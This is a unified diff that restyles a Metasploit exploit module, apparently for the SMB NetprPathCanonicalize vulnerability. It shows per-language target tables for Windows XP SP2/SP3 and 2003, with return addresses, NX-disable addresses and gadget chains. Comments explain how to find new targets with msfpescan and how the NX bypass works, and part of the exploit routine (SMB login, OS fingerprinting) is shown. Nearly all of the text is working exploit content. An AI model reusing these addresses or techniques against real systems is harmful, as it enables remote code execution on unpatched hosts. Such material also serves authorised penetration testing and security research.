@SHELL32.DLL + 'JmpESP' => 0x7c98a01b, # jmp ESP @NTDLL.DLL + 'DisableNX' => 0x7c95f517, # NX disable @NTDLL.DLL + 'Scratch' => 0x00020408, + } ], # @@ -215,484 +206,482 @@ class Metasploit3 < Msf::Exploit::Remote # # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Arabic (NX)', - { - 'Ret' => 0x6fd8f727, - 'DisableNX' => 0x6fd916e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Arabic (NX)', + { + 'Ret' => 0x6fd8f727, + 'DisableNX' => 0x6fd916e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Chinese - Traditional / Taiwan (NX)', - { - 'Ret' => 0x5860f727, - 'DisableNX' => 0x586116e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Chinese - Traditional / Taiwan (NX)', + { + 'Ret' => 0x5860f727, + 'DisableNX' => 0x586116e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Chinese - Simplified (NX)', - { - 'Ret' => 0x58fbf727, - 'DisableNX' => 0x58fc16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Chinese - Simplified (NX)', + { + 'Ret' => 0x58fbf727, + 'DisableNX' => 0x58fc16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Chinese - Traditional (NX)', - { - 'Ret' => 0x5860f727, - 'DisableNX' => 0x586116e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Chinese - Traditional (NX)', + { + 'Ret' => 0x5860f727, + 'DisableNX' => 0x586116e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Czech (NX)', - { - 'Ret' => 0x6fe1f727, - 'DisableNX' => 0x6fe216e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Czech (NX)', + { + 'Ret' => 0x6fe1f727, + 'DisableNX' => 0x6fe216e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Danish (NX)', - { - 'Ret' => 0x5978f727, - 'DisableNX' => 0x597916e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Danish (NX)', + { + 'Ret' => 0x5978f727, + 'DisableNX' => 0x597916e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 German (NX)', - { - 'Ret' => 0x6fd9f727, - 'DisableNX' => 0x6fda16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 German (NX)', + { + 'Ret' => 0x6fd9f727, + 'DisableNX' => 0x6fda16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Greek (NX)', - { - 'Ret' => 0x592af727, - 'DisableNX' => 0x592b16e2, - 'Scratch' => 0x00020408 - } - ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL - - - # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Spanish (NX)', - { - 'Ret' => 0x6fdbf727, - 'DisableNX' => 0x6fdc16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Greek (NX)', + { + 'Ret' => 0x592af727, + 'DisableNX' => 0x592b16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Finnish (NX)', - { - 'Ret' => 0x597df727, - 'DisableNX' => 0x597e16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Spanish (NX)', + { + 'Ret' => 0x6fdbf727, + 'DisableNX' => 0x6fdc16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 French (NX)', - { - 'Ret' => 0x595bf727, - 'DisableNX' => 0x595c16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Finnish (NX)', + { + 'Ret' => 0x597df727, + 'DisableNX' => 0x597e16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Hebrew (NX)', - { - 'Ret' => 0x5940f727, - 'DisableNX' => 0x594116e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 French (NX)', + { + 'Ret' => 0x595bf727, + 'DisableNX' => 0x595c16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Hungarian (NX)', - { - 'Ret' => 0x5970f727, - 'DisableNX' => 0x597116e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Hebrew (NX)', + { + 'Ret' => 0x5940f727, + 'DisableNX' => 0x594116e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Italian (NX)', - { - 'Ret' => 0x596bf727, - 'DisableNX' => 0x596c16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Hungarian (NX)', + { + 'Ret' => 0x5970f727, + 'DisableNX' => 0x597116e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Japanese (NX)', - { - 'Ret' => 0x567fd3be, - 'DisableNX' => 0x568016e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Italian (NX)', + { + 'Ret' => 0x596bf727, + 'DisableNX' => 0x596c16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Korean (NX)', - { - 'Ret' => 0x6fd6f727, - 'DisableNX' => 0x6fd716e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Japanese (NX)', + { + 'Ret' => 0x567fd3be, + 'DisableNX' => 0x568016e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Dutch (NX)', - { - 'Ret' => 0x596cf727, - 'DisableNX' => 0x596d16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Korean (NX)', + { + 'Ret' => 0x6fd6f727, + 'DisableNX' => 0x6fd716e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Norwegian (NX)', - { - 'Ret' => 0x597cf727, - 'DisableNX' => 0x597d16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Dutch (NX)', + { + 'Ret' => 0x596cf727, + 'DisableNX' => 0x596d16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Polish (NX)', - { - 'Ret' => 0x5941f727, - 'DisableNX' => 0x594216e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Norwegian (NX)', + { + 'Ret' => 0x597cf727, + 'DisableNX' => 0x597d16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Portuguese - Brazilian (NX)', - { - 'Ret' => 0x596ff727, - 'DisableNX' => 0x597016e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Polish (NX)', + { + 'Ret' => 0x5941f727, + 'DisableNX' => 0x594216e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Portuguese (NX)', - { - 'Ret' => 0x596bf727, - 'DisableNX' => 0x596c16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Portuguese - Brazilian (NX)', + { + 'Ret' => 0x596ff727, + 'DisableNX' => 0x597016e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Russian (NX)', - { - 'Ret' => 0x6fe1f727, - 'DisableNX' => 0x6fe216e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Portuguese (NX)', + { + 'Ret' => 0x596bf727, + 'DisableNX' => 0x596c16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Swedish (NX)', - { - 'Ret' => 0x597af727, - 'DisableNX' => 0x597b16e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Russian (NX)', + { + 'Ret' => 0x6fe1f727, + 'DisableNX' => 0x6fe216e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 Turkish (NX)', - { - 'Ret' => 0x5a78f727, - 'DisableNX' => 0x5a7916e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Swedish (NX)', + { + 'Ret' => 0x597af727, + 'DisableNX' => 0x597b16e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Arabic (NX)', - { - 'Ret' => 0x6fd8f807, - 'DisableNX' => 0x6fd917c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 Turkish (NX)', + { + 'Ret' => 0x5a78f727, + 'DisableNX' => 0x5a7916e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Chinese - Traditional / Taiwan (NX)', - { - 'Ret' => 0x5860f807, - 'DisableNX' => 0x586117c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Arabic (NX)', + { + 'Ret' => 0x6fd8f807, + 'DisableNX' => 0x6fd917c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Chinese - Simplified (NX)', - { - 'Ret' => 0x58fbf807, - 'DisableNX' => 0x58fc17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Chinese - Traditional / Taiwan (NX)', + { + 'Ret' => 0x5860f807, + 'DisableNX' => 0x586117c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Chinese - Traditional (NX)', - { - 'Ret' => 0x5860f807, - 'DisableNX' => 0x586117c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Chinese - Simplified (NX)', + { + 'Ret' => 0x58fbf807, + 'DisableNX' => 0x58fc17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Czech (NX)', - { - 'Ret' => 0x6fe1f807, - 'DisableNX' => 0x6fe217c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Chinese - Traditional (NX)', + { + 'Ret' => 0x5860f807, + 'DisableNX' => 0x586117c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Danish (NX)', - { - 'Ret' => 0x5978f807, - 'DisableNX' => 0x597917c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Czech (NX)', + { + 'Ret' => 0x6fe1f807, + 'DisableNX' => 0x6fe217c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 German (NX)', - { - 'Ret' => 0x6fd9f807, - 'DisableNX' => 0x6fda17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Danish (NX)', + { + 'Ret' => 0x5978f807, + 'DisableNX' => 0x597917c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Greek (NX)', - { - 'Ret' => 0x592af807, - 'DisableNX' => 0x592b17c2, - 'Scratch' => 0x00020408 - } - ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL - - - # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Spanish (NX)', - { - 'Ret' => 0x6fdbf807, - 'DisableNX' => 0x6fdc17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 German (NX)', + { + 'Ret' => 0x6fd9f807, + 'DisableNX' => 0x6fda17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Finnish (NX)', - { - 'Ret' => 0x597df807, - 'DisableNX' => 0x597e17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Greek (NX)', + { + 'Ret' => 0x592af807, + 'DisableNX' => 0x592b17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 French (NX)', - { - 'Ret' => 0x595bf807, - 'DisableNX' => 0x595c17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Spanish (NX)', + { + 'Ret' => 0x6fdbf807, + 'DisableNX' => 0x6fdc17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Hebrew (NX)', - { - 'Ret' => 0x5940f807, - 'DisableNX' => 0x594117c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Finnish (NX)', + { + 'Ret' => 0x597df807, + 'DisableNX' => 0x597e17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Hungarian (NX)', - { - 'Ret' => 0x5970f807, - 'DisableNX' => 0x597117c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 French (NX)', + { + 'Ret' => 0x595bf807, + 'DisableNX' => 0x595c17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Italian (NX)', - { - 'Ret' => 0x596bf807, - 'DisableNX' => 0x596c17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Hebrew (NX)', + { + 'Ret' => 0x5940f807, + 'DisableNX' => 0x594117c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Japanese (NX)', - { - 'Ret' => 0x567fd4d2, - 'DisableNX' => 0x568017c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Hungarian (NX)', + { + 'Ret' => 0x5970f807, + 'DisableNX' => 0x597117c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Korean (NX)', - { - 'Ret' => 0x6fd6f807, - 'DisableNX' => 0x6fd717c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Italian (NX)', + { + 'Ret' => 0x596bf807, + 'DisableNX' => 0x596c17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Dutch (NX)', - { - 'Ret' => 0x596cf807, - 'DisableNX' => 0x596d17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Japanese (NX)', + { + 'Ret' => 0x567fd4d2, + 'DisableNX' => 0x568017c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Norwegian (NX)', - { - 'Ret' => 0x597cf807, - 'DisableNX' => 0x597d17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Korean (NX)', + { + 'Ret' => 0x6fd6f807, + 'DisableNX' => 0x6fd717c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Polish (NX)', - { - 'Ret' => 0x5941f807, - 'DisableNX' => 0x594217c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Dutch (NX)', + { + 'Ret' => 0x596cf807, + 'DisableNX' => 0x596d17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Portuguese - Brazilian (NX)', - { - 'Ret' => 0x596ff807, - 'DisableNX' => 0x597017c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Norwegian (NX)', + { + 'Ret' => 0x597cf807, + 'DisableNX' => 0x597d17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Portuguese (NX)', - { - 'Ret' => 0x596bf807, - 'DisableNX' => 0x596c17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Polish (NX)', + { + 'Ret' => 0x5941f807, + 'DisableNX' => 0x594217c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Russian (NX)', - { - 'Ret' => 0x6fe1f807, - 'DisableNX' => 0x6fe217c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Portuguese - Brazilian (NX)', + { + 'Ret' => 0x596ff807, + 'DisableNX' => 0x597017c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Swedish (NX)', - { - 'Ret' => 0x597af807, - 'DisableNX' => 0x597b17c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Portuguese (NX)', + { + 'Ret' => 0x596bf807, + 'DisableNX' => 0x596c17c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 Turkish (NX)', - { - 'Ret' => 0x5a78f807, - 'DisableNX' => 0x5a7917c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 Russian (NX)', + { + 'Ret' => 0x6fe1f807, + 'DisableNX' => 0x6fe217c2, + 'Scratch' => 0x00020408 + } + ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL + + # Metasploit's NX bypass for XP SP2/SP3 + ['Windows XP SP3 Swedish (NX)', + { + 'Ret' => 0x597af807, + 'DisableNX' => 0x597b17c2, + 'Scratch' => 0x00020408 + } + ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL + + # Metasploit's NX bypass for XP SP2/SP3 + ['Windows XP SP3 Turkish (NX)', + { + 'Ret' => 0x5a78f807, + 'DisableNX' => 0x5a7917c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Standard return-to-ESI without NX bypass # Provided by Masashi Fujiwara - [ 'Windows 2003 SP2 Japanese (NO NX)', - { - 'Ret' => 0x71a91ed2, - 'Scratch' => 0x00020408 - } + ['Windows 2003 SP2 Japanese (NO NX)', + { + 'Ret' => 0x71a91ed2, + 'Scratch' => 0x00020408 + } ], # JMP ESI WS2HELP.DLL # Standard return-to-ESI without NX bypass - [ 'Windows 2003 SP1 Spanish (NO NX)', - { - 'Ret' => 0x71ac21a2, - 'Scratch' => 0x00020408, - } + ['Windows 2003 SP1 Spanish (NO NX)', + { + 'Ret' => 0x71ac21a2, + 'Scratch' => 0x00020408, + } ], # JMP ESI WS2HELP.DLL # Brett Moore's crafty NX bypass for 2003 SP1 - [ 'Windows 2003 SP1 Spanish (NX)', - { - 'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL - 'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL - 'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL - 'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL - 'Scratch' => 0x00020408, - } + ['Windows 2003 SP1 Spanish (NX)', + { + 'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL + 'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL + 'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL + 'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL + 'Scratch' => 0x00020408, + } ], # Standard return-to-ESI without NX bypass - [ 'Windows 2003 SP2 Spanish (NO NX)', - { - 'Ret' => 0x71ac3969, - 'Scratch' => 0x00020408, - } + ['Windows 2003 SP2 Spanish (NO NX)', + { + 'Ret' => 0x71ac3969, + 'Scratch' => 0x00020408, + } ], # JMP ESI WS2HELP.DLL # Brett Moore's crafty NX bypass for 2003 SP2 - [ 'Windows 2003 SP2 Spanish (NX)', - { - 'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL - 'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL - 'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL - 'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL - 'Scratch' => 0x00020408, - } + ['Windows 2003 SP2 Spanish (NX)', + { + 'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL + 'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL + 'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL + 'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL + 'Scratch' => 0x00020408, + } ] # @@ -708,105 +697,100 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']), + OptString.new('SMBPIPE', [true, 'The pipe name to use (BROWSER, SRVSVC)', 'BROWSER']), ], self.class) - end - -=begin - - - *** WINDOWS XP SP2/SP3 TARGETS *** - - - This exploit bypasses NX/NX by returning to a function call inside acgenral.dll that disables NX - for the process and then returns back to a call ESI instruction. These addresses are different - between operating systems, service packs, and language packs, but the steps below can be used to - add new targets. - - - If the target system does not have NX/NX, just place a "call ESI" return into both the Ret and - DisableNX elements of the target hash. - - If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system. - First obtain the value for the Ret element of the hash with the following command: - - $ msfpescan -j esi acgenral.dll - - Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e. - - Next, find the location of the function we use to disable NX. Use the following command: - - $ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll - - This address should be placed into the DisableNX element of the target hash. - - The Scratch element of 0x00020408 should work on all versions of Windows - - The actual function we use to disable NX looks like this: - - push 4 - lea eax, [ebp+arg_0] - push eax - push 22h - push 0FFFFFFFFh - mov [ebp+arg_0], 2 - call ds:__imp__NtSetInformationProcess@16 - - - *** WINDOWS XP NON-NX TARGETS *** - - - Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short - jump, and finally the shellcode. - - - *** WINDOWS 2003 SP2 TARGETS *** - - - There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2, - both of these are inside NTDLL.DLL and use a return method that is not directly compatible - with our call stack. To solve this, Brett Moore figured out a multi-step return call chain - that eventually leads to the NX bypass function. - - - *** WINDOWS 2000 TARGETS *** - - - No NX to bypass, just return directly to a "JMP EDX", which takes us to the short - jump, and finally the shellcode. - - - *** WINDOWS VISTA TARGETS *** - - Currently untested, will involve ASLR and NX, should be fun. - - - *** NetprPathCanonicalize IDL *** - - - NET_API_STATUS NetprPathCanonicalize( - [in, string, unique] SRVSVC_HANDLE ServerName, - [in, string] WCHAR* PathName, - [out, size_is(OutbufLen)] unsigned char* Outbuf, - [in, range(0,64000)] DWORD OutbufLen, - [in, string] WCHAR* Prefix, - [in, out] DWORD* PathType, - [in] DWORD Flags - ); - -=end + # + # + # *** WINDOWS XP SP2/SP3 TARGETS *** + # + # + # This exploit bypasses NX/NX by returning to a function call inside acgenral.dll that disables NX + # for the process and then returns back to a call ESI instruction. These addresses are different + # between operating systems, service packs, and language packs, but the steps below can be used to + # add new targets. + # + # + # If the target system does not have NX/NX, just place a "call ESI" return into both the Ret and + # DisableNX elements of the target hash. + # + # If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system. + # First obtain the value for the Ret element of the hash with the following command: + # + # $ msfpescan -j esi acgenral.dll + # + # Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e. + # + # Next, find the location of the function we use to disable NX. Use the following command: + # + # $ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll + # + # This address should be placed into the DisableNX element of the target hash. + # + # The Scratch element of 0x00020408 should work on all versions of Windows + # + # The actual function we use to disable NX looks like this: + # + # push 4 + # lea eax, [ebp+arg_0] + # push eax + # push 22h + # push 0FFFFFFFFh + # mov [ebp+arg_0], 2 + # call ds:__imp__NtSetInformationProcess@16 + # + # + # *** WINDOWS XP NON-NX TARGETS *** + # + # + # Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short + # jump, and finally the shellcode. + # + # + # *** WINDOWS 2003 SP2 TARGETS *** + # + # + # There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2, + # both of these are inside NTDLL.DLL and use a return method that is not directly compatible + # with our call stack. To solve this, Brett Moore figured out a multi-step return call chain + # that eventually leads to the NX bypass function. + # + # + # *** WINDOWS 2000 TARGETS *** + # + # + # No NX to bypass, just return directly to a "JMP EDX", which takes us to the short + # jump, and finally the shellcode. + # + # + # *** WINDOWS VISTA TARGETS *** + # + # Currently untested, will involve ASLR and NX, should be fun. + # + # + # *** NetprPathCanonicalize IDL *** + # + # + # NET_API_STATUS NetprPathCanonicalize( + # [in, string, unique] SRVSVC_HANDLE ServerName, + # [in, string] WCHAR* PathName, + # [out, size_is(OutbufLen)] unsigned char* Outbuf, + # [in, range(0,64000)] DWORD OutbufLen, + # [in, string] WCHAR* Prefix, + # [in, out] DWORD* PathType, + # [in] DWORD Flags + # ); + # def exploit - begin - connect() - smb_login() + connect + smb_login rescue Rex::Proto::SMB::Exceptions::LoginError => e - if (e.message =~ /Connection reset/) - print_error("Connection reset during login") - print_error("This most likely means a previous exploit attempt caused the service to crash") + if e.message =~ /Connection reset/ + print_error('Connection reset during login') + print_error('This most likely means a previous exploit attempt caused the service to crash') return else raise e @@ -816,74 +800,73 @@ class Metasploit3 < Msf::Exploit::Remote # Use a copy of the target mytarget = target - - if(target['auto']) + if target['auto'] mytarget = nil - print_status("Automatically detecting the target...") - fprint = smb_fingerprint() + print_status('Automatically detecting the target...') + fprint = smb_fingerprint print_status("Fingerprint: #{fprint['os']} - #{fprint['sp']} - lang:#{fprint['lang']}") # Bail early on unknown OS - if(fprint['os'] == 'Unknown') - fail_with(Failure::NoTarget, "No matching target") + if (fprint['os'] == 'Unknown') + fail_with(Failure::NoTarget, 'No matching target') end # 